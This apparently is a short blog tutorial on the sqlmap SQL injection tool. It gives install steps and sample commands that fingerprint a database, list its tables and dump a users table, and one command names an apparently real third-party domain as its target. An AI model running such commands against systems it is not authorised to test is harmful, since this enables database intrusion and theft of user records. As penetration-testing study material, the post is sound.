In this post, we discussed and explained one of the most popular tools used for database security testing, that is, SQLmap. SQLmap is used to conduct security assessments for databases to check if the database is vulnerable to SQL Injection attacks.

Please watch the video at the bottom for full detailed explanation of the walkthrough.

Wireshark Study Notes

OSCP Study Notes

What is SQLmap

An open-source penetration testing tool called sqlmap makes it easier to find and take advantage of SQL injection vulnerabilities to take control of database servers. It has a strong detection engine, a ton of specialized features for the ultimate penetration tester, and a wide range of switches, such as those for database fingerprinting, retrieving data from databases, accessing the underlying file system, and using out-of-band connections to run commands on the operating system.

SQLmap Use Cases in Database Security

  • SQL Injection Vulnerability
  • General Database Security Settings.
SQLmap Usage

You can install sqlmap by executing the below commands:

attacker@attacker:~$  git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

To get a list of basic options and switches use:

python sqlmap.py -h

To get a list of all options and switches use:

python sqlmap.py -hh

You can find a sample run here. To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the user’s manual.

Example use cases of SQLmap to test the security of databases

Grabbing the Database software
root@kali: sqlmap -u example.com/product/14* --banner

We put star as the vulnerable parameter is not clear to us
or

root@kali:sqlmap -r req.txt --current-db
Listing Tables
root@kali: sqlmap -u catalog.sph-assets.com/product/14* --tables

or

root@kali:sqlmap -r request.txt -D social --tables
Dump entries from a specific table
root@kali: sqlmap -u example.com/product/14* -T users_field_data –dump

Full SQLmap Tutorial

About the Author

Mastermind Study Notes is a group of talented authors and writers who are experienced and well-versed across different fields. The group is led by, Motasem Hamdan, who is a Cybersecurity content creator and YouTuber.

View Articles